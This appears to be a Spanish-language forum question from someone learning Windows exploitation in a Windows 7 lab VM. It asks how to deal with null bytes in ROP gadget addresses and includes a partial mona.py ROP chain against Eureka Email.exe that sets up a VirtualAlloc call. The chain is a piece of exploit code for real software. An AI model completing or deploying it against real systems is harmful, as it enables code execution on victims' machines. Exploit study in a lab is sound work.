Actualmente estoy trabajando en el aprendizaje de la Explotación de Windows y estoy trabajando en una Windows 7 VM. Estaba estudiando algunos tutoriales y, aunque funcionaron bien en Vista y más adelante, no lo harían en Windows 7 debido a una nueva restricción.
La restricción es que las direcciones que podría usar para ROP ahora se asignan a 0x00 y que contienen un byte NULO. Esto también es lo mismo con los gadgets potenciales como "call esp, jmp esp, etc"
!mona rop
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x0045021d, # POP EAX # RETN [Eureka Email.exe]
0x004570a8, # ptr to &VirtualAlloc() [IAT Eureka Email.exe]
0x004124d4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Eureka Email.exe]
0x004412d7, # PUSH EAX # PUSHAD # XOR EAX,EAX # POP ESI # RETN [Eureka Email.exe]
0x00446d9f, # POP EBP # RETN [Eureka Email.exe]
0x00415e82, # & push esp # ret [Eureka Email.exe]
¿Cómo omito esta nueva restricción en Windows 7? En Linux, sé que esto es "ASCII Guard", pero no estoy familiarizado con él en Windows ni sabía que era una cosa.